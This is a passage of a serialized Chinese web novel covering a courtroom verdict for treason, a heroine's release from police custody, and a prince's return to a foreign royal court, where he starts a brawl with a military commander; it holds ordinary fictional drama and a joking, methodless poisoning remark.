苏妙扬起下巴,反手指着头顶象征公平公正的信仰图徽,义正言辞:“你一边扮演慈爱父亲博取同情,一边暗地谋划送女儿上断头台。在计划败露后,不但不知悔改,反而变本加厉,联合境外势力企图掩盖真相、愚弄大众。但你万万没想到,天理昭昭报应不爽!你所依仗的权势在正义面前不堪一击!你所编织的谎言在真相面前如同朽木!你所背叛的国家,自有她的儿女来守护!” 她的发言如同最后一记重锤,彻底将余斯文钉死。 法庭内先是一片极致的寂静,随即爆发出难以抑制的哗然与议论。尤其最后一番陈词,让现场众人动容肃穆,即使他们曾经各怀心思,在当下的节点也必须站在A国国旗之下,仰望正义。 余斯文哑然,在苏妙的步步紧逼之下毫无招架之力。 他很清楚,对方之所以没有一开始就拿出证据,就是要让全国民众都看清楚他是如何包藏祸心、欺弄民众的。他之前扮演得有多好,民众对他的恨和提防就有多深。他已经无力扭转战局了。 鉴于案件影响太大,审判长宣布休庭十分钟,十分钟后宣判庭审结果。 休庭期间,原告、被告双方可以短暂休息,但余笙和余斯文都坐在席位上没有移动。 反观听审席,到处传来密集的讨论声。 苏灼看着苏妙的身影,感慨万千。 当初苏妙一个人背着行囊远赴他国求学,他还以为她始终介怀身世,对过去放不下。现在看见如此闪闪发光的妙妙,他才豁然醒悟——他们所有人都小看了妙妙。她没有与过去做分割才是她的强大,因为坦然面对过去和无畏迎向未来,从来都不是对立的两个面。 苏韵许久之后才缓过神。她先是转头看向苏灼,见他目光被苏妙吸引,沉默片刻,又抬眸环顾四周。 不仅仅是苏灼,现场所有人都注视着苏妙,人们眼里满是赞许和欣赏。 “操!一环扣一环的,比特么演戏还精彩。” 这场庭审把关鹤看得一愣一愣地,迫不及待输入了一篇现场小作文给周宴珩发了过去。 发完以后还觉得不详细,又补了一段语音: -【还真被你说中了。姜狗逼虽然没有来,但苏妙来了,他们竟然拿到了余斯文和李儒的通话录音,余斯文现在就跟死鱼一样,我看是蹦跶不起来了。】 等了一会儿,也没见周宴珩回答,他啧了一声,不耐烦地继续骚扰: -【喂,你去哪了?怎么神神秘秘的?】 还是没有回复。关鹤耐心售罄,正要打电话过去追问,手机屏幕忽然亮了起来,是关楼的电话。 他愣了愣,这才想起来忘记给老头儿汇报情况了,连忙按下接听键:“诶!喂!爸?我正要给你打电话呢,我跟你说,现在这真是峰回路转、跌宕起伏、百转千回……” 不等他说完,电话那边直接传来一声暴喝:“回你个串串!老子要你在现场盯着,现在都板上钉钉了也没见你放个屁!你在哪?是不是又出去鬼混了?” 都是几个熟人,关鹤生怕丢了面子,若无其事地站起身朝门外走去:“啊?放心放心,一切都在掌握之中……” “什么掌握之中,老子问你在哪?” 关鹤用手捂着话筒,压低了声音:“这场戏高潮迭起,看得我太兴奋了,我先去尿个尿回来跟您说。” 电话那边,关楼沉默了许久,语气凉凉:“你在看片儿?畜生!” 关鹤:“?” 关楼咬牙切齿:“狗改不了吃屎,你给我等着。” “嘟——” 电话变成了忙音。 “哈?”关鹤歪头,一脸莫名其妙。 …… 第916章 我存在的价值 十分钟后,再次开庭。 “肃静!” 审判长孙序重重敲下法槌,洪亮的声音带着不容置疑的威严,瞬间压下了法庭内所有的嘈杂。 他缓缓起身,黑色的法袍更显庄重,目光如炬,扫视全场。 整个法庭,连同屏幕前成千上万的民众,都在等待着最终的裁决。 孙序审判长拿起早已备好的判决书,声音沉稳而清晰,每个字都仿佛带着千钧之力: “本院经审理查明,被告人余斯文,身为国家前政要,本应恪尽职守、忠贞爱国,却为满足个人权欲,勾结境外势力,出卖国家核心利益,其行为已严重危害国家安全,触犯《A国国家安全法》《反间谍法》多项条款,犯罪事实清楚,证据确实、充分。” “此外,被告人余斯文为掩盖自身罪行,处心积虑构陷亲生女儿余笙,企图使其承担叛国罪名,行为卑劣,严重践踏人伦,扰乱司法秩序,社会影响极其恶劣。” “依据A国宪法及相关法律,本庭现庄严宣判:被告人余斯文,犯叛国罪,罪名成立!” 话音一落,现场一片低呼与骚动,余斯文脸色惨白,缓缓闭上了眼。 宣判仍在继续。 “犯诬告陷害罪,罪名成立!” “犯非法持有国家绝密文件罪,罪名成立!” “数罪并罚,判处剥夺政治权利终身,并处没收个人全部财产!关于叛国罪部分,本庭将依法呈报最高司法委员会进行最终核验,以裁定是否适用极刑!” “本判决为口头宣判,书面判决书将于十日内送达。如不服本判决,可在接到书面判决书之日起十五日内,向A国最高法院提出上诉。” 法槌再次敲响,声音清脆而决绝。 “闭庭!” 槌音未散,两名身着制服的法警已一左一右来到余斯文身旁。其中一人熟练地取出明晃晃的手铐,“咔嚓”一声,铐上了他的手腕。 那声响不大,却在寂静的法庭里异常清晰。余斯文被从被告席上架起的那一刻,意义已然不同——他不再是个风度翩翩的政客,而是盖棺定论的罪人。 “等等。” 余笙走下原告席,小跑着拦在余斯文面前,神情恳切地看向两位法警:“能不能让我和他好好告个别?” 法警对视一眼。 “两分钟。”说罢转身退开,为两人留出谈话的空间。 余斯文抬起头,看向余笙的目光交织着怨恨与不甘,但更多的,是一丝连他自己都未曾察觉的狼狈。 “你想跟我说什么?” 余笙没有看他,缓缓走近,低头轻声道:“我只是想亲口告诉你,苏妙提交证据时曾问过我的意见,是希望将您一击毙命,还是看您徒劳挣扎——我选择了后者。” 余斯文眼睑颤动,原本浑浊失神的眼睛骤然收缩。恰在此时,余笙抬眸,他瞳孔里清晰映出她脸上意味深长的笑容。 “父亲,保重。” * 警署厅审讯室内,时间仿佛凝滞在惨白的灯光下。 姜花衫安静地坐在金属桌前,指尖无意识地在冰凉的桌面上轻轻敲击,节奏平稳。 姜晚意的失踪看似出乎意料,却又在情理之中。她隐隐已猜到布局者的后手,因此并不急于一时。 思忖片刻,她抬起头,语气平静:“长官,该交代的我都已经交代了,我什么时候可以走?” “这个……”对面两人面露难色。 警署厅手中握有拘捕令,按程序,在姜花衫的嫌疑未彻底洗清之前,她需被暂时收监,随时接受调查。 但真要执行这一程序,并不简单。 首先,姜花衫是沈家人。一旦沈家不满,向监察所申诉,所有执行程序的人都将难辞其咎。 其次,证据本身争议极大,既可视为“铁证”,也可视作“一张废纸”。人去或留,并不取决于这份口供,而在于上面的裁决。 阎王打架,小鬼遭殃。说白了,是有人要动沈家。能否留下姜花衫,能留多久,全看沈家与上层势力的较量。 姜花衫瞥了两人一眼,心知他们做不了主,并未为难,转而看向腕表,喃喃自语:“这个时间,那边应该差不多结束了。你们不妨去问问,说不定很快就会有结果。” 话音刚落,审讯室的门“咔哒”一声从外推开。 来人正是负责公海案件的高级督察。 “姜小姐,打扰了。”男人朝姜花衫微微颔首,随即转向两名特情队员,语气结论性地说道:“公海警署厅传来最新消息,刚刚完成对那名嫌疑人的补充审讯,他已全盘交代。” “他们一伙人得知死者刚获得一大笔资产,于是临时起意,跟踪至邮轮实施抢劫杀人。被捕后因惧怕重罪,才信口雌黄、胡乱攀咬。所谓的‘受人指使’,完全是他为脱罪编造的谎言。” 说罢,他转向姜花衫,姿态放低了些:“姜小姐,让您受委屈了。这完全是一场误会,如今真相大白,您的嫌疑已彻底澄清,手续办妥,您随时可以离开。对于此次调查给您带来的不便,我们深表歉意。” 姜花衫优雅起身,整理了一下衣襟。 直接宣告她无罪……看来,妙妙那场官司赢得很顺利。 男人见状,立即上前主动拉开房门:“姜小姐,我送您。” 门外,沈兰晞与沈清予早已静立等候。 “不必麻烦了,没看见我两个哥哥都在吗?”她笑着朝两人招手。 沈兰晞与沈清予不约而同地后退一步,让出中间的位置。姜花衫双手背在身后,脚步轻快地占据C位。 踏出审讯室,她一刻未停,拍了拍沈清予的肩:“手机呢?现在应该还能看到个落幕致辞吧?” 沈清予斜睨她一眼,掏出手机递过去。 * “苏律师!恭喜您赢得这场举世瞩目的官司!此刻您有什么想说的吗?” “苏律师,姜律师此次缺席是否与境外势力有关?连她都免不了受牵连,是什么让您义无反顾接下这一棒?” “苏律师,请您和大家说两句吧!” 现场提问声此起彼伏,众人欢呼着涌向苏妙。 苏妙接过话筒,面向镜头。那张年轻朝气的脸,虽不及姜花衫惊艳绝伦,却依旧光彩夺目。 “有人告诉我,当我愿意接下第二棒时,就给了第三棒挺身而出的勇气。所以,我今天的最大价值,不是赢得某一场官司,或还原某一个真相,而是如果未来某天,姜花衫和苏妙都缺席了,正义依旧能够延续。” …… 第917章 廉颇老矣,犹可披甲! 沈园主厅内,古朴的沉香静静萦绕。巨大的全息投影屏上,苏妙那张年轻却光芒内蕴的脸庞格外清晰。 那句“……如果未来某天,姜花衫和苏妙都缺席了,正义依旧能够延续”在空旷的厅堂里震声回荡。 恰是这时,郑松快步走进主厅,小声道:“老爷子,兰晞少爷传话回来,事情弄清楚,小姐没事了。” 沈庄微微颔首,目光沉静地注视着定格的屏幕,身姿笔挺如同庭院中那棵历经风雨的老松。 “苏家这娃娃,倒也不错。” 沈娇紧握着茶杯的手指微微放松,长长舒了一口气,如释重负地看向上席的沈庄:“您任由特情组把衫衫带走,是早就知道这一幕了?” 公海警署厅那边敢上门拿人,必然是有所依仗,看似针对姜花衫,实则是对沈家动手。这点伎俩,沈家所有人都看得清楚。沈娇原以为沈庄同意让人带走后会立刻联系人施压,但老爷子什么都没做,只让她稍安勿躁,等开完庭再说。 对于老爷子的决定,沈娇半分都不理解。她是真心把姜花衫当做女儿来疼,唯恐她在里面受了委屈。但她也知道,这世间不会再有人比沈庄更在意姜花衫,老爷子让等,就一定有等的理由。 如今尘埃落定,她才总算知道老爷子在等什么了。 苏妙手中的那份证据,不但是制裁余斯文的绝杀,更是姜花衫的保命符。 余斯文被当庭宣告有罪,参与这场“屠杀恶龙”的人都会被民众视为英雄。再加上证据链中涉及了一众阴谋论,姜花衫此时的缺席必然会引起高度重视。 出庭之前又闹出了方眉事件,民众自然会将其视为境外势力对姜花衫的绞杀。这种种迹象都印证了姜花衫正在遭受阴谋旋涡。 苏妙的发言是点睛之笔。万万人见证了她们转播星火的勇气,怎么可能允许境外阴谋抹杀他们的“屠龙勇士”? 这个时候,谁敢下令拘捕姜花衫,谁敢仅凭一个盗匪的空口栽赃给她定罪,谁就是公民罪人,必将受到A国万万人的审判。背后布局之人也正是明白这个道理,所以在余斯文被定罪后,立即释放了姜花衫。 不仅如此,牵一发而动全身。照此情况,往后民众再想起沈年,对沈家的怨气也能少些。 这谋思,当真七窍玲珑。 沈娇嘴角隐隐有了笑意:“爸,还得是您啊?” 此局环环相扣,将人心与局势算计到分毫不差,除了沈庄,沈娇不做他想。 沈庄闻言,执起茶杯的手几不可察地微微一顿。他垂眸,目光落在氤氲着热气的茶汤上,并未立刻回应沈娇的赞叹。 厅内沉香袅袅,静默了片刻。 沈娇脸上的笑意渐渐收敛:“爸,您怎么不说话?” 沈庄不语,缓缓将茶杯放回桌上,沉吟片刻,倏尔抬眸:“郑松,去把书房的电话搬过来。” 沈娇怔住,在触及老爷子眸底山雨欲来的压迫感后,心头一惊。 老爷子书房那部电话可不得了,其背后的联络人连通着国际局势最核心的权力节点,平日里深锁书房,非重大变故绝不启用。而现在,老爷子没有选择回书房,而是让郑松把电话搬过来,显然意义不同。 很快,郑松再次返回,手里小心翼翼捧着一台造型古朴厚重的通讯器。 “老爷子。”他蹲身,将通讯器稳妥地安置在茶几上。 沈庄伸出手,枯瘦的手指平稳地按下了第一个加密号码。 通讯接通,他没有寒暄,声音低沉而清晰:“是我,沈庄。” …… 第一个电话通话不足十分钟。沈庄的手指没有丝毫停顿,立刻拨出了第二个号码。 周而复始,三十多通电话一气呵成,中间几乎没有长时间停顿。当沈庄终于放下听筒时,房间里只剩下通讯器散热风扇轻微的嗡鸣声。 沈娇坐在一旁,听得心惊肉跳。 她看着自己的父亲如同一位运筹帷幄的统帅,在无声的战场上调兵遣将。每一个电话,都意味着一个庞大势力的启动,都预示着即将到来的腥风血雨。 此刻她才彻底明白,老爷子并非不在意姜花衫被带走。相反,这已经完全触及了他的底线。之前的按兵不动,并非隐忍,而是在等待对方彻底暴露意图。 一连说了太多话,沈庄早已口干舌燥。他端盏抿了一口茶水,缓和片刻,转而抬眸看向沈娇: “余斯文的证据已经被公开,李儒是跑不掉了。这场较量才刚刚开始。我原想等孩子们再大一些,再同他们算账,现在看来一刻都不能等了。否则他们是真当我沈庄老了,咽不下饭了。” 说罢,话锋一转:“我交给你的那两份遗嘱,你还收着吧?” 沈娇眉心一跳:“收着呢。” 沈庄点头:“收好。” 沈娇虽不知沈庄具体在谋划什么,但刚刚那三十几通电话的信息量,足以让她拼凑出大致轮廓。她眉宇间满是担忧:“爸,您可是沈家的主心骨,犯不着为了那些人……” “错了。”沈庄打断她,转头看向视频里苏妙那双星火燎原的眸子,沉声道,“虽千万人吾往矣。总不能老是让孩子们冲在前面。我就是要让他们知道,廉颇老矣,犹可披甲!” “这第三棒,我沈庄接了!” …… 第918章 他想激怒你 S国。 白密步履匆匆,行至曦光殿前,不顾侍卫阻拦,一把推开沉重的雕花木门。 “沈归灵,庆典马上就要开始了,你……” 话未出口,他的脚步猛地一顿。 寝殿内灯火通明,华贵陈设依旧,空气中却弥漫着一丝不同寻常的紧绷。 数名身着深色近卫军服的士兵肃立两侧,厅前跪着五六名内侍与宫女,其中甚至包括两名资历颇深的老人。他们个个面色惨白,眼中写满惊恐与难以置信。 白密惊疑不定,“这是怎么回事?” 他的目光下意识转向寝殿深处。 沈归灵已换上为今日大典特制的王室礼服。纯白礼服以银线绣满繁复的王室图腾,肩部与袖口勾勒着冷硬的金属线条,既保留了S国王室的华丽传统,又融进军装的利落剪裁,衬得他身姿挺拔,高贵凛然。 安缇正弯着腰,为他做最后的整理。 听见白密的动静,沈归灵倏然转身。窗外天光透过高窗,落在他轮廓分明的脸上。白密呼吸一窒,整个人如同被钉在原地。 眼前的沈归灵仿佛解开了某种封印,通身气度竟与白普大帝有了七八分重合,尤其那份隐于俊美皮相之下的、睥睨而锐利的锋芒,几乎如出一辙! 安缇为沈归灵抚平衣角,直起身看向厅前众人,“迄今为止,这已是三天内的第七次暗杀。” 王室之争向来腥风血雨,这些白密自幼便经历过,并不为奇。他震惊,纯粹是被沈归灵慑住了。 白家人对白普大帝的崇拜深入骨髓,有一分相似已属难得,何况是七八分? 白密顿时怒不可遏,“都这个时候了还不消停?查清幕后主使是谁了吗?” 安缇指向那几人,一一道来:“这三个是白冽的人。” “早知那怂蛋不安好心!圣君奶奶也不知为何偏重用他,待会儿开宴别客气,直接抡……” 不等他说完,安缇又指向那两名资历深厚的老人,“这两人,是长公主的人。” “长……”白密语气一滞,“长公主?” 他那昏聩愚蠢的母亲大人! 那两名老人如同抓住救命稻草,浑浊老眼里迸出急切的光,挣扎着想靠近,却因嘴被堵住,只能发出“呜呜”哀鸣。 白密吓得魂飞魄散,生怕沈归灵误会他与母亲联手,从而心生厌恶。他如避瘟疫般跳开三米远。 “喂!你可千万别听他们胡说!我……我跟母亲不是一伙的!她做的这些事我完全不知情!” 他急急辩解,生怕沈归灵不信,顺带踩了一脚他尊贵的母亲,“我母亲也就占个长公主头衔,如今你回来了,她那点优势荡然无存,我根本不看好她,绝不可能与她合作。” 沈归灵面色未动,看了他一眼,问了个风马牛不相及的问题:“头发怎么回事?” “啊?”白密一时没反应过来,“你的回国大典,我总不能抢你风头。” 他那头标志性的银发几乎成了个人符号,即便当年国庆大典也未曾收敛,如今却尽数染回与王室相符的深色。 沈归灵:“你来做什么?” 白密指向门外,神情理所当然,“当然是接你去大典现场。” 眼下沈归灵刚归国,女王心思未明,众人皆在观望。此时由白密这般陪同出席,无异于提前表明立场。 沈归灵未再言语,最后整理了一下袖口,迈步向前。 行至殿门光影交错处,他脚步几不可察地一顿,并未回头,只低沉提醒:“跟上。” 白密眸光微动,立即转身小跑上前。原本安缇立于沈归灵身侧,他一个箭步横插进去,“你还不知道吧?圣君奶奶已将骑士团徽章交予我,我是你的骑士长。” 沈归灵眼皮未抬,“知道。” 白密没料到他反应如此平淡,疑心他左耳不便,又绕回右侧解释:“你可知在S国,骑士长对亲王意味着什么?” 见沈归灵不答,他只得自问自答:“是生死契约的盟友,是所向披靡的长剑,也是无坚不摧的后盾。” 沈归灵脚步再次顿住。廊道光影落进他眸底,漾开一片直抵人心的幽光:“你是吗?” 白密所有的喋喋不休戛然而止。 周遭空气仿佛凝固,唯有远处隐约传来的典礼序曲提醒着时间仍在流淌。 片刻沉寂后,他敛起周身戾气与不羁,右手紧握成拳,庄重地抵在左肩心口。 此为S国王室骑士团最崇高的宣誓礼节。 “我是。” * 猩红地毯铺就的廊道尽头,光影交织。尚未抵达,已能听见殿内隐约的乐声与人语。 沈归灵与白密并肩而行。就在即将踏入那片光华璀璨之地的刹那,廊柱旁倏然转出一道挺拔身影,拦住去路。 来人正是S国现任总军最高指挥官,白冽。这位亲王未着王室礼服,而是身穿一套深蓝色高级将官礼服,肩章上的将星于流动光影中闪烁着权力的冷芒。 白密一眼看穿白冽别有用心,眼神威吓:“为保王室体面,我奉劝你滚开。” 白冽全然未将白密放在眼里,嘴角含笑审视沈归灵:“不必紧张,皆是一家人,不过提前打个招呼。” 言罢,他彬彬有礼地伸出戴着白手套的右手:“白冽。家族聚会时你可称我王兄,但庆典之上,请称呼长官或阁下。” 沈归灵微微一笑,抬手回握:“长官阁下。” 白冽神色微动,主动收手,彬彬有礼地颔首,转身踏入身后那名利场。 白密皱眉:“你何必对他客气?论血统,他不过是个杂碎。” 沈归灵客观分析:“他想激怒我。” 白密:“岂止!他明知今日不可能得手,仍派人行刺,分明意在试探你的底线。别怪我没提醒,在白家,忍一次,便有无数次。” 沈归灵不以为意:“走吧。” “少爷。” 恰在此时,雷行与莫然自后追来。 沈归灵驻足:“怎么样了?” 莫然咽下喉间干涩,语速急促:“今早姜小姐被公海警署厅审讯,罪名是买凶杀人。” 沈归灵:“杀谁?” 莫然不敢直视他的目光:“方……眉。” “……”沈归灵眸色骤然转深:“没这么巧。庭审结果?” 莫然不禁暗赞沈归灵反应之迅捷,立即回道:“苏妙接替了姜小姐的工作,余斯文败诉,叛国罪成立。” 沈归灵沉默片刻,点了点头:“知道了。” “少爷。”他正要转身,莫然急忙叫住他,“还有一事。证据链显示,构陷姜小姐的正是李儒。此人与白冽私交甚密。我查到您归国前夕,白冽与李儒往来频繁。您务必提防那个白冽。” “白冽?”沈归灵抬眸,眼神倏然一变。 这眼神,白密再熟悉不过——当初沈归灵血洗公海时,便是如此。 他吓得眉心直跳,急忙拦住沈归灵:“冷静!这家伙定是故意的,他想激怒你。” 沈归灵笑了,笑意未达眼底:“那就付出代价。” …… 第919章 冷静不了一点 “你……” 刚刚还一副无动于衷的模样,怎么说急眼就急眼了? 白密闭了闭眼,无力地拍了拍自己的额头,仅仅只用了三秒钟就接受了沈归灵色令智昏的人设。他已经向神明起誓了,所以现在就算沈归灵是坨屎,也只能吃屎了。 “行吧。”他一副舍命陪君子的模样,“你这么坚决看来是有主意了,说吧,你想怎么让他付出代价?” 沈归灵眉眼不动,面无表情地看着他。 白密瞬间就明白了他的意思,嘴角抽搐,“你该不会想告诉我,你没有计划?难不成你打算就这么进去教训白冽?” 沈归灵,“有什么问题吗?” “我……”白密莫名被气笑了,“有什么问题?问题大了!那家伙虽然是个杂碎,但他还是军务最高指挥官,有这个头衔你随便动他一下就是与整个王军作对,就算是我母亲,每次和白冽对阵都是绞尽脑汁策划各种阴谋诡计,不然出师无名,还可能被军制反制。” 沈归灵,“你母亲绞尽脑汁还是让他坐上了最高指挥官的位置?” “可不……”话说到一半,白密忽然意识到这不是什么好话,嘴角微微抽搐。 他是不看好白拉曼,但也不想自己的母亲被沈归灵当成草包,硬着头皮解释,“白冽这个家伙阴险狡诈,又立下过彪炳战功,不好对付。” 沈归灵笑了笑。 “你笑什么?”白密不服,拧着眉头质问,“不是都说沈庄雄才伟略,你跟着沈家那老头长大,就不知道学两招?” 沈归灵想了想,抬眸打量他,“倒是有个想法,就怕你不敢用。” 白密瞬间被激发了斗志,“你说,在S国就没有我白密不敢的。” 沈归灵,“待会儿你去弄点见血封喉的毒药,趁白冽不注意直接下他酒里。” 白密从来没见过这么直接的毒计,一边心里打鼓,一边又萌生了兴趣,“然后呢?我怎么洗脱罪名?” 沈归灵,“不用洗脱,等查到你身上了,你就告诉他们你是受长公主指使,到时候白冽那些旧部肯定会与你母亲厮杀,两虎相争必有一伤,我到时候就坐收渔翁之利。” 白密刚沸腾的热血被沈归灵一番话泼得瓦凉,他点着自己的鼻子,“那我呢?” 沈归灵,“你有王室头衔和你母亲作保,不用担心小命,顶多就是蹲几年牢狱之灾。等我掌握了S国的大权,随便找个什么由头,你就自由了。” 白密皱眉,“那得多久?” 沈归灵,“如果绞尽脑汁的话,一两年吧。” “……”白密眸光一怔,立马转头盯着沈归灵的眼睛打量,“你耍我?” 还没等他琢磨明白,一名身着王室礼宾司制服的内侍官悄无声息地快步近前,在适当的距离外停下,微微躬身,“殿下,入场仪式即将开始,请您准备移步正厅。” 沈归灵收敛神色,淡淡颔首,转身随着引路的内侍向着灯火辉煌处走去。 * 庆典正厅内,穹顶高阔,空气里弥漫着香槟与花朵交融的馥郁气息,悠扬的宫廷乐章流淌于每个角落。 厅内觥筹交错,这里汇聚了S国几乎所有的顶尖权贵。他们有的身着戎装、勋章闪耀;有的姿态优雅、裙摆摇曳。 当那扇沉重的鎏金大门被两位侍从缓缓推开时,场内流淌的乐声与人语仿佛被无形的手轻轻按下了暂停键。 所有人的目光不约而同地投向门口。 在一片骤然降临的寂静与万千瞩目中,沈归灵缓缓步入殿堂。 璀璨的灯光如流水般倾泻在他身上,他的脸部轮廓清晰利落,从饱满的额际到收紧的下颌,每一处转折都恰到好处,尤其那双象征着白家王室标志的瑞凤眼,流转间带着漫不经心的疏离与矜贵,仿佛那位先祖又重新活过来了一般。 在此之前,宾客们对这位流落在外的殿下并不看好。即便他是沈玺亲王唯一的血脉,缺失了王室教养也不过是个徒有虚名、难堪大任的摆设,这样的人是不可能在权力绞杀中脱颖而出的。 现在看来,一切都言之过早了。他们都是顶尖权贵,见过多少人中龙凤如过江之鲫,沈归灵的眼神可不是朽木摆设能有的。 蓦地,宴会安静到了极点,所有的喧嚣悄然沉寂。 与此同时,长公主白拉曼端着香槟杯立于廊柱旁,玫红色礼服用金线绣着繁复的家族纹章,雍容华贵,围簇在她身边的都是内阁的高级要员。 “这位倒是颇有亲王之姿。” 白拉曼不以为然,正要开口,余光一瞥,见白密穿过人群直接立在了沈归灵的后方。 这时,身边几位要员也察觉到了异样,不解地看向白拉曼,“小殿下这是?” 白拉曼气得额角直跳,努力保持脸上的优雅,“宴会而已,倒也不必剑拔弩张。” 闻言,要员们纷纷附和。 “还是殿下有格局,不像隔壁那位,刚刚我可看见了,白冽仗着自己军务总长的身份直接在门口堵人。” “哦?还有这种事?” 白拉曼漫不经心地挑了挑眉梢,转眸看向对面的军方阵营。 宴会厅另一侧,深蓝色将官礼服组成的军方阵营宛如一片凝重的海。白冽立于中心,似笑非笑地看着被众星捧月的沈归灵。 “听说,陛下伤筋动骨也要把这位接回来,就是因为他与亲王殿下神似。像是像,不过这细皮嫩肉的模样,经得起风浪吗?”一位肩扛中将星衔的男子低声开口。 旁边一位稍显年轻的准将轻笑一声,“花花架子有什么用?上了战场,可不是一张脸和白家的血脉就能镇住场子的。” 白冽不予理会,端起侍者托盘上的酒杯,浅呷一口,目光依旧落在远处那个备受瞩目的白色身影上,语气平淡无波:“不管怎么样,今天这次宴会事关陛下和王室颜面,这位殿下初来乍到,你们能照应的就多照应点。” 闻言,几位心腹将领相互交换了一个了然的眼神。 沈归灵与众人打过招呼后一刻都没闲着,转头逡巡全场,目光在触及到那片深蓝阵营时停了下来。随即,他在众人尚未反应过来时,调转方向,径直朝着白冽的方向走去。 他这一动,仿佛在寂静的湖面投下一颗石子,无形的涟漪以他为中心扩散开来。 原本细微的交谈声再次消失,所有目光都聚焦于这突如其来的动向。 就这么色令智昏冲过去了? 白密顿时心惊肉跳,白冽身边都是武将,他担心沈归灵会吃亏,想也没想紧随其后,还不忘小声唠叨,“冷静啊,冷静。” 另一边,白冽端着酒杯的手稳如磐石,脸上那抹似笑非笑的神情未曾改变。 沈归灵甩开白密,掠过自动分开的人群,最终在距离白冽一步之遥站定。 “长官阁下。”沈归灵率先招呼。 白冽不动声色地挑了挑眉,缓缓站起身,“王弟……” 就在他已经想好了如何用长辈兼长官的姿态给沈归灵一个下马威时,意外发生了。 沈归灵毫无征兆地,一记凌厉飞踢,带着破空之声,狠狠击在白冽的胸腹之间! “砰——!” 一声沉闷的巨响炸开。 白冽整个人像是被全速行驶的卡车撞击,猛地向后倒飞出去! …… 第920章 无处不在的遗产 死寂。 瞬间,如同坟墓般的死寂笼罩了整个庆典大厅。 所有人都像是被施了定身咒,酒杯悬在半空,笑容僵在脸上,目瞪口呆地看着这难以置信的一幕。 在他们眼中,沈归灵还是个需要依附、妥协的“新人”,此刻却以如此暴烈、不计后果的方式对军务最高指挥官发动攻击,简直是愚不可及。 “他是疯了吗?” 白蒂娜上一秒还因嫉妒沈归灵而咬牙切齿,此刻却搂着白迪雅的胳膊笑开了花。 白冽虽然不是嫡脉,但他的军队资源毋庸置疑,这下有好戏看了。 沈归灵缓缓收回腿,姿态依旧从容。他站在一片狼藉之前,目光云淡风轻:“我父亲为国而死,不容你轻视。” “!” 就这么明目张胆地嫁祸?一点前期准备工作都不需要?! 跟在后面的白密彻底石化了,脑子里只剩下一个念头:“别惹这魔丸。” “岂、有、此、理!” 白冽猛地撑起身,死死瞪着沈归灵。胸腹的剧痛尚且能忍,但丢失的尊严却无论如何也忍不了。他眼中布满血丝,如同被彻底激怒的雄狮,哪里还顾得上什么风度礼仪,飞身扑向沈归灵。 “长官冷静!有话好说!” 他身边那几位心腹将领反应极快,嘴上高喊着劝架,动作却迅捷如风,瞬间形成合围之势。 这些人都是久经沙场的将领,明着规劝,暗地里拳脚挟风,直攻沈归灵要害! 沈归灵早防着这一手,动如闪电,格挡间直接折断了其中一人的手肘。他的拳脚是在军政学府和南湾实战中杀出来的,比这些老将还要狠辣刁钻十倍。 “啊!” 其中一人捧着手肘疼得大叫,同期的武将见状纷纷变了脸色,索性不再遮掩,直接上手。 “敢对王室动手,你们要反天了不成!” 白密见状,热血“轰”地冲上头顶,叫骂着冲进混乱的战局。 “殿下,我来帮你!” 几乎在同一时间,安缇的身影如鬼魅般切入,精准替沈归灵挡下了后方偷袭。 “这般龟孙子,不讲武德。”雷行撸起袖子就要上去揍人。 “雷憨子!”莫然不会武,急中生智,勾脚脱下一只细跟高跟鞋,塞到刚冲过来的雷行手里,“拿着!干死这群龟孙!” 雷行看着被强塞进手里的高跟鞋,有些嫌弃。但转眼瞥见有人猫在角落准备偷袭沈归灵,他眼睛一瞪,反手举起高跟鞋抡了过去! “啊!” 一道优美而凌厉的弧线伴随惨叫划过,角落里的人应声倒下。 场面顿时变得混乱且……难以形容。 就在这不可开交之际,入口处传来内侍官一声高昂急促的通传: “陛下驾到——!” 沉重的脚步声伴随着威严的气息涌入。 白朱拉在众人的簇拥下缓缓入场,她身后跟随的并非王室内侍,而是三位头发花白的老人。这三位老人个个精神矍铄,穿着金白军服,胸前的勋章多到数不胜数。 三位老元帅也算见过各种大小场面了,却还是被眼前的景象惊得不轻。 谁能想到,以沈归灵为核心的这支“杂军”,竟将半个军方高层压在地上狠揍。拳风腿影,闷哼怒喝,原本庄严华贵的庆典大厅彻底沦为了混乱的斗兽场,高悬的水晶灯清楚倒映着军官们求饶哀嚎的破碎表情。 “廷尉长!”女王威仪赫赫,指着眼前的混乱,“把他们给我拖开。” 沈归灵见大势已去,一把甩开白冽,低头慢条斯理地整理弄皱的礼服。 而白冽就没这么好了。沈归灵下了死手,他先前只觉得腹部剧痛,此刻却感到五脏六腑都移了位,如同火烧。众目睽睽之下,他不想输得太难看,挣扎着想站起身,却一点劲都使不上,最后还是由内侍官一左一右将他架了起来。 巴顿正是三帅之一,见女王发怒,立即走到沈归灵身边小声询问:“殿下可有受伤?” 沈归灵摇头,“你们的三军总指挥脆得跟纸皮一样,我手皮都没破。” 巴顿与有荣焉,但还是严肃纠正:“殿下,这也是您的三军。” 沈归灵眸色微深,抬眸看向女王身边的另外两名老者。 巴顿身体微微倾向沈归灵,用仅有两人能听清的音量低语:“左边那个是阿提查,统辖着王军所有装甲部队与战略导弹部队,你父亲叫他‘铁壁’。他治军极严,最重规矩。” “右边那个脸上有疤的,是纳塔瓦。他执掌着王军的海上力量与海军陆战队,这老家伙的脾气就跟海上风暴似的不好惹,但有一点极其护短。” 闻言,沈归灵转头看向巴顿,“还有呢?” 他知道,巴顿不会无缘无故特意提出这一点。 巴顿收敛了神色,转头瞥了一眼狼狈的白冽,声音压得更低:“还有,您的父亲,是他唯一的学生。” …… 第921章 当面栽赃 在S国,军队体系有着明确而微妙的划分。 王军,即王室近卫军,直接效忠于王室,是守护王权最核心的武装力量。其成员并非来自普遍征兵,而是每年从各大顶尖军校毕业生中严格遴选,优中选优,堪称精英中的精英。他们装备最精良,待遇最丰厚,代表着王国武装力量的门面与荣耀。 而白冽所统辖的战役军,则实行公民普遍服役制,规模庞大,根基深厚,是戍守边疆、应对大规模冲突的主力。 常年征战使得战役军作风彪悍,实战经验丰富。 两军虽同属S国武装,职责各有侧重,但暗中的较劲从未停止。尤其在争夺优秀军事人才时,常常闹得不可开交。 王军凭借其地位与资源,总能吸引大多数顶尖苗子,这让自诩为王国支柱的战役军将领们时常感到不快与不甘。 尽管战役军功勋卓著,但在许多人心中,尤其是在王室与核心权贵圈眼中,他们比代表着正统与荣耀的王军始终低了一头。这种根深蒂固的观念,成为了两系人马之间一道难以跨越的鸿沟。 在S国现代军事史上,曾有过一次意义深远的整合。 